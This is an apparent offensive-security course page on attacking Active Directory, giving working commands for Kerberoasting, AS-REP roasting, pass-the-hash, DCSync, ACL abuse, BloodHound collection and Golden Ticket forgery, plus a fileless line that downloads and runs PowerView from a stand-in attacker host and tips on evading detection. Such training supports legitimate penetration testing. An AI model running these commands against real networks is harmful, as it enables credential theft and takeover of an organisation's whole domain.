kavklaw@llm ~ /learn/phase-5
← Back to Learning Path

Phase 5: Active Directory

Kerberoasting, BloodHound, Pass-the-Hash, DCSync, Golden Tickets β€” own the domain.

05

Phase 5: Active Directory

95% of enterprise networks run Active Directory. If you want to do real-world pentesting, you need to know how to attack it.

🏰 Active Directory Fundamentals

Active Directory (AD) is Microsoft's directory service β€” it manages users, computers, groups, and permissions across an entire corporate network. Understanding AD structure is essential before you can attack it.

Key Concepts

  • Domain Controller (DC): The server that runs AD. It authenticates users and enforces policies. Compromising the DC = owning the entire domain.
  • Kerberos: The authentication protocol AD uses. Instead of sending passwords around, it uses encrypted "tickets" to prove your identity. The key terms: TGT (Ticket Granting Ticket β€” proves who you are), TGS (Ticket Granting Service β€” grants access to a specific service), and KDC (Key Distribution Center β€” the server that issues tickets).
  • LDAP: The protocol for querying the AD database (who are the users? what groups exist?)
  • NTLM: The older auth protocol. Still used widely. Hash-based β€” no need to know the password (pass-the-hash).
  • Service Principal Names (SPNs): How Kerberos identifies services. If a user has an SPN, their hash is Kerberoastable.
  • Group Policy Objects (GPOs): Policies pushed to domain computers. Misconfigured GPOs can be abused for code execution across the domain.
  • Organizational Units (OUs): Containers for organizing AD objects. GPOs are linked to OUs.
  • Trusts: Relationships between domains/forests. Can be exploited for cross-domain attacks.

How Kerberos Authentication Works

# The Kerberos authentication flow:

# Step 1: AS-REQ β†’ AS-REP (Authentication Service)
# Client sends: "I am user@domain, give me a ticket"
# KDC verifies identity, sends back:
# - TGT (Ticket Granting Ticket) β€” encrypted with krbtgt hash
# - Session key β€” encrypted with user's password hash

# Step 2: TGS-REQ β†’ TGS-REP (Ticket Granting Service)
# Client sends: TGT + "I want to access SERVICE on SERVER"
# KDC sends back:
# - Service Ticket (TGS) β€” encrypted with service account's hash
# - Session key for the service

# Step 3: AP-REQ β†’ AP-REP (Application)
# Client sends: Service Ticket to the target server
# Server decrypts with its own hash, grants access

# Why this matters for attacks:
# - TGT encrypted with krbtgt β†’ Golden Ticket (forge any TGT)
# - TGS encrypted with service hash β†’ Kerberoasting (crack offline)
# - No pre-auth required β†’ AS-REP Roasting
🧠 Knowledge Check β€” AD Fundamentals
What is Kerberoasting?
Kerberoasting exploits the fact that any authenticated domain user can request a service ticket (TGS) for any SPN. The ticket is encrypted with the service account's password hash β€” if the password is weak, you can crack it offline with hashcat (mode 13100). It's devastating because service accounts often have elevated privileges and weak passwords.
What is BloodHound used for in Active Directory pentesting?
BloodHound collects AD data (users, groups, permissions, sessions, trusts) and visualizes it as a graph. It finds attack paths you'd never spot manually β€” like "this user has GenericAll on that group, which has WriteDACL on the Domain Admins group." Mark owned users as "Owned" and BloodHound finds the shortest path from them to Domain Admin.

βš”οΈ Common AD Attacks

AS-REP Roasting

If a user has "Do not require Kerberos preauthentication" set, you can request their encrypted TGT without knowing their password β€” then crack it offline.

Impacket is a collection of Python tools for working with network protocols β€” it's the go-to toolkit for attacking Windows/AD from Linux. Rubeus is a Windows-native tool for Kerberos attacks, used when you're already on a domain-joined machine.

# Find AS-REP roastable users
# GetNPUsers queries the domain for accounts that don't require pre-auth
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip DC_IP

# From a domain-joined machine (Rubeus does the same thing natively on Windows):
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# Crack the hash
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

Any domain user can request a service ticket for any SPN. The ticket is encrypted with the service account's password hash β€” crack it offline.

# Get service tickets (need valid domain creds)
impacket-GetUserSPNs domain.htb/user:password -dc-ip DC_IP -request

# From Windows:
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt

# Crack
hashcat -m 13100 ticket.txt /usr/share/wordlists/rockyou.txt

Pass-the-Hash (PtH)

With NTLM, you don't need the password β€” just the hash. If you dump a user's NTLM hash, you can authenticate as them:

# Impacket provides several tools that give you a shell on a remote Windows machine.
# Each uses a different method β€” psexec creates a service, wmiexec uses WMI, smbexec uses SMB:
impacket-psexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec domain.htb/admin@TARGET -hashes :NTLM_HASH
impacket-smbexec domain.htb/admin@TARGET -hashes :NTLM_HASH

# evil-winrm is a shell tool for Windows Remote Management (WinRM, port 5985).
# The -H flag means "use this hash instead of a password":
evil-winrm -i TARGET -u admin -H NTLM_HASH

# CrackMapExec (CME) is a Swiss Army knife for pentesting Windows/AD networks.
# Here it sprays the hash across an entire subnet to find where the creds work:
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH
crackmapexec smb 10.10.10.0/24 -u admin -H NTLM_HASH --exec-method smbexec -x 'whoami'

DCSync β€” Dumping All Domain Hashes

A DCSync attack impersonates a Domain Controller and requests password replication data β€” giving you every user's hash in the domain. Mimikatz is the legendary Windows credential extraction tool that can pull passwords and hashes from memory, among many other attacks.

# If you have Replicating Directory Changes (All) permissions:
# (Domain Admins have this by default)
# secretsdump pretends to be a DC and requests all password hashes:
impacket-secretsdump domain.htb/admin:password@DC_IP

# Dump specific user:
impacket-secretsdump domain.htb/admin:password@DC_IP -just-dc-user krbtgt

# From Windows β€” Mimikatz performs the same attack natively:
mimikatz# lsadump::dcsync /domain:domain.htb /user:krbtgt

# Once you have the krbtgt hash β†’ Golden Ticket!

BloodHound β€” Find the Path

BloodHound maps AD relationships and finds attack paths you'd never spot manually. It has two parts: a collector (gathers AD data) and a UI (visualizes the data as a graph you can query).

# Collect data β€” bloodhound-python is the Linux-based collector
bloodhound-python -u user -p 'password' -d domain.htb -ns DC_IP -c all

# SharpHound is the Windows-based collector β€” run it from a domain-joined machine:
SharpHound.exe -c all --zipfilename loot.zip

# Import into BloodHound UI and look for:
# - Shortest path to Domain Admin
# - Kerberoastable users
# - Unconstrained delegation
# - ACL abuse paths
# - Users with DCSync rights

# Key queries to run:
# "Find Shortest Paths to Domain Admins"
# "Find AS-REP Roastable Users"
# "Find Kerberoastable Users"
# "Shortest Paths from Owned Principals"
🧠 Knowledge Check β€” AD Attack Tools
Complete the impacket command to perform a DCSync attack and dump all domain hashes:
Fill in the blank:
$ impacket- domain.htb/admin:password@DC_IP
impacket-secretsdump performs a DCSync attack β€” it impersonates a Domain Controller and requests password data replication. This dumps all domain user NTLM hashes, including the krbtgt hash (which can be used to forge Golden Tickets). You need "Replicating Directory Changes" permissions, which Domain Admins have by default.

ACL Abuse

ACLs (Access Control Lists) define who can do what to AD objects (users, groups, computers). Misconfigurations give attackers powerful shortcuts to escalation β€” for example, if your compromised user has "GenericAll" permission on a Domain Admin, you can simply reset their password.

# Common abusable ACL permissions:
# GenericAll β†’ Full control. Reset password, add to group, anything.
# GenericWrite β†’ Modify attributes. Set SPN (targeted Kerberoasting), set RBCD (Resource-Based Constrained Delegation).
# WriteDACL β†’ Modify permissions. Grant yourself GenericAll.
# WriteOwner β†’ Take ownership. Then grant yourself permissions.
# ForceChangePassword β†’ Reset user's password without knowing current.
# AddMember β†’ Add yourself to a group (e.g., Domain Admins).

# Example: You have GenericAll on a user
# Reset their password:
net rpc password "TARGET_USER" "NewPass123!" -U 'domain/your_user%your_pass' -S DC_IP

# Add user to Domain Admins:
net rpc group addmem "Domain Admins" "TARGET_USER" -U 'domain/your_user%your_pass' -S DC_IP

Common Attack Chains

  1. Password spraying β†’ valid creds β†’ BloodHound β†’ find path
  2. Kerberoasting β†’ service account hash β†’ crack β†’ lateral movement
  3. ACL abuse β†’ GenericAll on user β†’ reset password β†’ escalate
  4. Delegation abuse β†’ impersonate admin β†’ DCSync β†’ domain admin
  5. ADCS (Active Directory Certificate Services) abuse β†’ misconfigured cert template β†’ request cert as admin β†’ authenticate as admin
πŸ’‘ Real example: In our Hercules writeup, we discovered LDAP injection in an SSO portal using double URL encoding to bypass a regex filter β€” extracting user credentials for a Kerberos-only domain controller.

πŸ”­ AD Enumeration Deep Dive

You've got a foothold β€” a shell on a domain-joined machine, or valid domain credentials from phishing/password spraying. Now what? Enumeration is everything. Before you fire any exploits, you need to understand the terrain: who are the high-value users, what groups exist, where are the DCs, what trusts exist, and where can your current user reach?

Enumeration Workflow

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                  AD ENUMERATION WORKFLOW                         β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚                                                                 β”‚
β”‚  [Initial Foothold]                                             β”‚
β”‚        β”‚                                                        β”‚
β”‚        β–Ό                                                        β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”    Who am I? What privileges?                  β”‚
β”‚  β”‚ whoami /all  │───► SIDs, groups, privileges                  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”˜                                                β”‚
β”‚        β”‚                                                        β”‚
β”‚        β–Ό                                                        β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   What's the domain structure?                β”‚
β”‚  β”‚ net commands  │──► Users, groups, DCs, trusts                β”‚
β”‚  β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                               β”‚
β”‚        β”‚                                                        β”‚
β”‚        β–Ό                                                        β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   Deep enumeration via LDAP/PowerView         β”‚
β”‚  β”‚ PowerView /  │──► ACLs, SPNs, delegations, sessions          β”‚
β”‚  β”‚ ldapsearch   β”‚                                               β”‚
β”‚  β””β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                               β”‚
β”‚        β”‚                                                        β”‚
β”‚        β–Ό                                                        β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   Visualize attack paths                      β”‚
β”‚  β”‚  BloodHound  │──► Shortest path to DA, ACL abuse chains      β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                                               β”‚
β”‚                                                                 β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Step 1: Who Am I?

The very first thing you run on a domain-joined Windows box:

# Full identity check β€” shows your user, SIDs, group memberships, and privileges
whoami /all

# Quick group check
whoami /groups

# What domain am I in?
systeminfo | findstr /B "Domain"

# What's the DC?
nltest /dclist:domain.htb
echo %logonserver%
nslookup -type=SRV _ldap._tcp.dc._msdcs.domain.htb
πŸ’‘ Pro tip: Check whoami /priv immediately. If you see SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can likely escalate to SYSTEM using Potato attacks (JuicyPotato, PrintSpoofer, GodPotato). If you see SeBackupPrivilege, you can dump SAM/NTDS.dit directly.

Step 2: Built-in Windows Enumeration

# List ALL domain users
net user /domain

# Detailed info on a specific user (group membership, last logon, password policy)
net user administrator /domain
net user svc_sql /domain

# Domain Admins β€” these are the crown jewels
net group "Domain Admins" /domain

# Other interesting groups
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain
net group "Account Operators" /domain
net group "Server Operators" /domain
net group "Backup Operators" /domain
net group "DnsAdmins" /domain

# Trust relationships
nltest /domain_trusts /all_trusts

# Password policy (lockout threshold matters for spraying!)
net accounts /domain

# List all computers
net group "Domain Computers" /domain

# List all DCs
net group "Domain Controllers" /domain

# Shares on remote machines
net view \\DC01.domain.htb /all
πŸ’‘ Pro tip: Always check the password policy BEFORE password spraying. If the lockout threshold is 5, and you spray 6 passwords, you've just locked out every account in the domain. That's a bad day for you AND the client. Stick to 1-2 attempts per lockout window.

Step 3: PowerView Enumeration (Windows)

PowerView is a PowerShell module from the PowerSploit/SharpSploit suite. It's the most powerful enumeration tool you can run from a domain-joined Windows host. Import it with Import-Module .\PowerView.ps1 or use IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerView.ps1') for fileless execution.

# Import PowerView
Import-Module .\PowerView.ps1

# ─── Domain Info ───
Get-Domain                          # Current domain info
Get-DomainController                # List all DCs
Get-DomainPolicy                    # Password policy, Kerberos policy

# ─── User Enumeration ───
Get-DomainUser                      # All domain users
Get-DomainUser -Identity svc_sql    # Specific user details
Get-DomainUser -SPN                 # Kerberoastable users (have SPNs)
Get-DomainUser -PreauthNotRequired  # AS-REP roastable users
Get-DomainUser -AdminCount          # Users with adminCount=1 (protected by AdminSDHolder)
Get-DomainUser | Where-Object {$_.description -like "*pass*"}  # Passwords in descriptions!

# ─── Group Enumeration ───
Get-DomainGroup                            # All groups
Get-DomainGroup -Identity "Domain Admins"  # DA group info
Get-DomainGroupMember -Identity "Domain Admins" -Recurse  # Nested members too!
Get-DomainGroup -UserName "jsmith"         # What groups is jsmith in?

# ─── Computer Enumeration ───
Get-DomainComputer                                # All computers
Get-DomainComputer -OperatingSystem "*Server*"    # Servers only
Get-DomainComputer -Unconstrained                 # Unconstrained delegation!
Get-DomainComputer | Where-Object {$_.ms-ds-machineaccountquota -gt 0}

# ─── Find Where You Can Admin ───
Find-LocalAdminAccess                  # Machines where current user is local admin
Find-DomainUserLocation               # Where are domain admins logged in?
Find-DomainShare -CheckShareAccess     # Accessible shares (might have creds/configs)

# ─── ACL Enumeration ───
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs  # ACLs on DA group
Find-InterestingDomainAcl -ResolveGUIDs                       # All interesting ACLs

# ─── Trust Enumeration ───
Get-DomainTrust             # Domain trusts
Get-ForestTrust             # Forest trusts
Get-DomainTrustMapping      # Full trust map

# ─── GPO Enumeration ───
Get-DomainGPO                          # All GPOs
Get-DomainGPOLocalGroup                # GPOs that modify local group membership
Get-DomainOU                           # Organizational Units
πŸ’‘ Pro tip: Find-LocalAdminAccess is LOUD β€” it touches every machine in the domain. On a real engagement, use it sparingly or target specific OUs. Get-DomainUser -SPN is completely silent and gives you Kerberoasting targets instantly.

Step 4: LDAP Enumeration from Linux

When you're attacking from a Linux box with valid credentials, ldapsearch is your best friend. It queries the AD LDAP database directly.

# First, get the base DN (distinguished name) for the domain
# domain.htb β†’ DC=domain,DC=htb
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(objectClass=domain)' | grep -i dn

# All users
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(objectClass=user)' sAMAccountName description memberOf

# Domain Admins members
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(&(objectClass=group)(cn=Domain Admins))' member

# Kerberoastable accounts (users with SPNs)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

# AS-REP roastable (no preauth required)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' sAMAccountName

# Computers with unconstrained delegation
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' sAMAccountName

# Find passwords in user descriptions (you'd be surprised how often this works!)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(&(objectClass=user)(description=*))' sAMAccountName description | grep -i -E '(pass|pwd|cred)'

# LAPS passwords (if you have read access)
ldapsearch -x -H ldap://DC_IP -D 'domain\user' -w 'password' -b 'DC=domain,DC=htb' \
  '(objectClass=computer)' ms-Mcs-AdmPwd sAMAccountName
πŸ’‘ Pro tip: Use windapsearch or ldapdomaindump for automated LDAP enumeration. ldapdomaindump produces nice HTML reports: ldapdomaindump -u 'domain\user' -p 'password' DC_IP

🩸 BloodHound Detailed Workflow

BloodHound is the single most impactful tool in AD pentesting. It takes the raw data of AD β€” users, groups, ACLs, sessions, trusts β€” and visualizes it as a graph database. Relationships that would take hours to discover manually become obvious attack paths in seconds.

Data Collection

BloodHound needs data from collectors. You have two main options:

# ─── SharpHound (Windows β€” run from domain-joined machine) ───
# Collects the most complete data since it runs in the domain context

# Full collection β€” get everything
SharpHound.exe -c all --zipfilename loot.zip

# Stealthy β€” skip session collection (it's the noisiest)
SharpHound.exe -c DCOnly --zipfilename loot.zip

# Target specific domain
SharpHound.exe -c all -d child.domain.htb --zipfilename child_loot.zip

# Loop mode β€” keeps collecting session data over time
# (more sessions = more attack paths discovered)
SharpHound.exe -c Session --loop --loopduration 02:00:00

# PowerShell version (if you can't drop an exe)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp -ZipFileName loot.zip


# ─── BloodHound.py (Linux β€” remote collection) ───
# Doesn't need to be on a domain machine, just needs creds

# Full collection
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP -c all

# With hash instead of password
bloodhound-python -u 'user' --hashes :NTLM_HASH -d domain.htb -ns DC_IP -c all

# Specific collection methods
bloodhound-python -u 'user' -p 'password' -d domain.htb -ns DC_IP \
  -c group,localadmin,session,acl,trusts

# Via DNS name resolution
bloodhound-python -u 'user' -p 'password' -d domain.htb -dc DC01.domain.htb -c all
πŸ’‘ Pro tip: SharpHound's -c all includes session collection, which connects to every machine to check who's logged in. This is NOISY. On a stealthy engagement, use -c DCOnly first (queries only the DC via LDAP), then selectively collect sessions on high-value targets later.

Import & Analysis

# Start BloodHound (needs neo4j running)
sudo neo4j start
bloodhound

# In BloodHound GUI:
# 1. Click "Upload Data" β†’ select your .zip files
# 2. Wait for ingestion to complete
# 3. Mark your compromised user as "Owned" (right-click β†’ Mark User as Owned)
# 4. Start running queries!

Critical BloodHound Queries

These are the queries you should run in order on every engagement:

# ─── Pre-built Queries (in the BloodHound UI) ───
# 1. "Shortest Paths from Owned Principals"
#    β†’ Your #1 query. Shows how to escalate from what you have.
#
# 2. "Find Shortest Paths to Domain Admins"
#    β†’ The classic. May show paths you can't use yet β€” but gives the map.
#
# 3. "Find All Kerberoastable Users"
#    β†’ Immediate offline cracking targets.
#
# 4. "Find AS-REP Roastable Users (DontReqPreAuth)"
#    β†’ Free hashes β€” no creds needed to request them.
#
# 5. "Find Computers with Unconstrained Delegation"
#    β†’ Dangerous machines that cache TGTs.
#
# 6. "Shortest Paths to High Value Targets"
#    β†’ BloodHound auto-marks key targets (DC, DA, etc.)
#
# 7. "Find Principals with DCSync Rights"
#    β†’ Who can perform DCSync? Maybe your user can already.
#
# 8. "Shortest Paths from Domain Users to High Value Targets"
#    β†’ What can ANY domain user do? Often shocking.

Custom Cypher Queries (Neo4j)

BloodHound uses Neo4j as its backend. You can write raw Cypher queries for things the pre-built queries don't cover:

# Find all users with an SPN (Kerberoastable)
MATCH (u:User) WHERE u.hasspn=true
RETURN u.name, u.serviceprincipalnames

# Find users with "password" in their description
MATCH (u:User) WHERE u.description CONTAINS "pass"
RETURN u.name, u.description

# Shortest path from a specific user to Domain Admins
MATCH p=shortestPath((u:User {name:"[email protected]"})-[*1..]->(g:Group {name:"DOMAIN [email protected]"}))
RETURN p

# All users who can DCSync
MATCH p=(u)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain)
WHERE u.name IS NOT NULL
RETURN u.name, labels(u)

# Find computers where Domain Admins have sessions
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN [email protected]"})
RETURN c.name, u.name

# All paths from owned principals (custom depth)
MATCH p=shortestPath((u {owned:true})-[*1..6]->(g:Group {name:"DOMAIN [email protected]"}))
RETURN p

# Users with constrained delegation
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL
RETURN u.name, u.allowedtodelegate

# Machines where a specific user is local admin
MATCH (u:User {name:"[email protected]"})-[:AdminTo]->(c:Computer)
RETURN c.name

# Find all ACL edges from a specific group
MATCH p=(g:Group {name:"IT [email protected]"})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember]->(target)
RETURN p

BloodHound Edge Types β€” What They Mean

Understanding edges is critical. Each edge type represents a different abusable relationship:

# ═══ ACL-Based Edges ═══
#
# GenericAll
#   β†’ FULL control. You can do ANYTHING to this object.
#   β†’ On a user: reset password, set SPN, modify attributes
#   β†’ On a group: add members (including yourself)
#   β†’ On a computer: configure RBCD, read LAPS
#   β†’ ABUSE: Reset password, targeted Kerberoast, RBCD
#
# GenericWrite
#   β†’ Can modify non-protected attributes
#   β†’ On a user: set SPN (targeted Kerberoast), modify logon script
#   β†’ On a computer: set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
#   β†’ ABUSE: Targeted Kerberoast, RBCD, Shadow Credentials
#
# WriteDACL
#   β†’ Can MODIFY the ACL itself. Grant yourself GenericAll first,
#     then do anything.
#   β†’ ABUSE: Grant self GenericAll β†’ full control
#
# WriteOwner
#   β†’ Can change the object's owner. New owner can modify DACL.
#   β†’ ABUSE: Take ownership β†’ WriteDACL β†’ GenericAll β†’ full control
#
# ForceChangePassword
#   β†’ Reset target's password WITHOUT knowing the current one.
#   β†’ ABUSE: Directly change password and log in as them
#
# AddMember
#   β†’ Can add members to a group.
#   β†’ ABUSE: Add yourself to Domain Admins (or any privileged group)
#
# ═══ Kerberos Edges ═══
#
# AllowedToDelegate
#   β†’ Constrained delegation. Can request TGS as any user to specific SPNs.
#   β†’ ABUSE: S4U2Self + S4U2Proxy to impersonate admin
#
# AllowedToAct
#   β†’ Resource-Based Constrained Delegation (RBCD)
#   β†’ ABUSE: Configure delegation to get admin access
#
# HasSIDHistory
#   β†’ Object has the SID of another object in its SID history.
#   β†’ ABUSE: Inherits all access of the historical SID
#
# ═══ Session/Admin Edges ═══
#
# HasSession
#   β†’ User has a session on this computer (logged in)
#   β†’ ABUSE: Dump creds from that machine (LSASS)
#
# AdminTo
#   β†’ User/group is local admin on this computer
#   β†’ ABUSE: Remote code execution, credential dumping
#
# CanRDP
#   β†’ Can RDP to this machine
#
# CanPSRemote
#   β†’ Can use PowerShell remoting (WinRM)
#
# ExecuteDCOM
#   β†’ Can execute commands via DCOM
πŸ’‘ Pro tip: BloodHound Community Edition (CE) and BloodHound Enterprise are the newer versions with a web UI and API. The classic "BloodHound Legacy" uses the Electron app + Neo4j. Both work β€” CE is where active development is happening. If you're learning, either works fine.

πŸ”₯ Kerberos Attacks Deep Dive

Kerberos is the default authentication protocol in AD and it's absolutely riddled with abusable design decisions. Let's go deep on every major Kerberos attack.

AS-REP Roasting β€” Full Breakdown

When a user has "Do not require Kerberos preauthentication" enabled, the KDC will hand back an encrypted AS-REP to anyone who asks β€” no password needed. The AS-REP contains material encrypted with the user's password hash, which we can crack offline.

# ═══ From Linux (Impacket) ═══

# With a user list (no creds needed β€” we're testing who doesn't require preauth)
impacket-GetNPUsers domain.htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.100 \
  -format hashcat -outputfile asrep_hashes.txt

# With valid creds (enumerate + roast automatically)
impacket-GetNPUsers domain.htb/user:password -dc-ip 10.10.10.100 -request \
  -format hashcat -outputfile asrep_hashes.txt

# ═══ From Windows (Rubeus) ═══

# Find and roast all AS-REP vulnerable users
Rubeus.exe asreproast /format:hashcat /outfile:C:\temp\asrep.txt

# Target specific user
Rubeus.exe asreproast /user:svc_backup /format:hashcat /outfile:C:\temp\asrep.txt

# With alternate credentials
Rubeus.exe asreproast /creduser:domain\user /credpassword:pass123 /format:hashcat

# ═══ Cracking ═══

# Hashcat mode 18200 for AS-REP
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# John the Ripper
john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
πŸ’‘ Pro tip: If you have GenericAll/GenericWrite on a user, you can ENABLE "Do not require Kerberos preauthentication" on them, then AS-REP roast them. This is called targeted AS-REP Roasting. After cracking, disable the flag to avoid detection.

Kerberoasting β€” Full Breakdown

Any authenticated domain user can request a TGS for any SPN in the domain. The TGS is encrypted with the service account's NTLM hash. Crack it offline β€” no lockouts, no alerts (unless they're specifically monitoring for mass TGS requests).

# ═══ From Linux (Impacket) ═══

# Request all Kerberoastable hashes
impacket-GetUserSPNs domain.htb/user:password -dc-ip 10.10.10.100 -request \
  -outputfile kerberoast.txt

# With hash authentication (pass-the-hash)
impacket-GetUserSPNs domain.htb/user -hashes :NTLM_HASH -dc-ip 10.10.10.100 \
  -request -outputfile kerberoast.txt

# Target specific SPN
impacket-GetUserSPNs domain.htb/user:password -dc-ip 10.10.10.100 \
  -request-user svc_sql -outputfile kerberoast.txt

# ═══ From Windows (Rubeus) ═══

# Kerberoast all SPNs
Rubeus.exe kerberoast /outfile:C:\temp\kerberoast.txt

# Target specific user
Rubeus.exe kerberoast /user:svc_sql /outfile:C:\temp\kerberoast.txt

# Use RC4 downgrade (faster to crack β€” but more detectable)
Rubeus.exe kerberoast /tgtdeleg /outfile:C:\temp\kerberoast.txt

# Kerberoast with AES (stealthier, matches normal traffic)
Rubeus.exe kerberoast /aes /outfile:C:\temp\kerberoast.txt

# ═══ Targeted Kerberoasting ═══
# If you have GenericAll/GenericWrite on a user, set an SPN on them, then Kerberoast

# Set SPN (PowerView)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='nonexistent/YOURSPN'}

# Kerberoast that specific user
Rubeus.exe kerberoast /user:targetuser /outfile:C:\temp\targeted.txt

# Clean up β€” remove the SPN
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

# ═══ Cracking ═══

# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
hashcat -m 19700 kerberoast.txt /usr/share/wordlists/rockyou.txt  # AES tickets

# John
john kerberoast.txt --wordlist=/usr/share/wordlists/rockyou.txt
πŸ’‘ Pro tip: Service accounts with AES encryption enabled produce AES-encrypted tickets (hashcat mode 19700) which are MUCH slower to crack. Rubeus's /tgtdeleg flag forces RC4 by abusing the TGT delegation trick β€” faster cracking but leaves more detectable artifacts. Choose your trade-off.

Golden Ticket Attack

A Golden Ticket is a forged TGT β€” you create a valid Kerberos TGT for ANY user (even non-existent ones) using the krbtgt hash. Since every DC trusts TGTs encrypted with the krbtgt key, this gives you unrestricted access to every service in the domain for as long as you want.

# How a Golden Ticket works:
#
#  Normal Authentication:
#  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”    AS-REQ (creds)    β”Œβ”€β”€β”€β”€β”€β”
#  β”‚ Client β”‚ ──────────────────► β”‚ KDC β”‚
#  β”‚        β”‚ ◄────────────────── β”‚     β”‚
#  β””β”€β”€β”€β”€β”€β”€β”€β”€β”˜    AS-REP (TGT)     β””β”€β”€β”€β”€β”€β”˜
#                encrypted with
#                krbtgt hash
#
#  Golden Ticket Attack:
#  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”   We forge our OWN TGT     β”Œβ”€β”€β”€β”€β”€β”
#  β”‚Attackerβ”‚   using stolen krbtgt hash  β”‚ KDC β”‚
#  β”‚        β”‚   (skip KDC entirely!)      β”‚     β”‚
#  β””β”€β”€β”€β”¬β”€β”€β”€β”€β”˜                             β””β”€β”€β”¬β”€β”€β”˜
#      β”‚                                     β”‚
#      β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”           β”‚
#      └─►│  Forged TGT says:   β”‚           β”‚
#         β”‚  "I am Administrator"β”‚           β”‚
#         β”‚  "I'm a Domain Admin"β”‚           β”‚
#         β”‚  Valid for 10 years  β”‚           β”‚
#         β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜           β”‚
#                    β”‚  TGS-REQ              β”‚
#                    └──────────────────────►│
#                       KDC trusts TGT!      β”‚
#                    β—„β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
#                       TGS-REP (service ticket)

# ═══ Prerequisites ═══
# You need the krbtgt NTLM hash + domain SID
# Get these via DCSync or NTDS.dit extraction

# Get domain SID (from any domain user)
whoami /user
# Or from Linux:
impacket-lookupsid domain.htb/user:password@DC_IP

# ═══ Create Golden Ticket with Mimikatz ═══
mimikatz# kerberos::golden /user:Administrator /domain:domain.htb \
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  /krbtgt:KRBTGT_NTLM_HASH /ptt

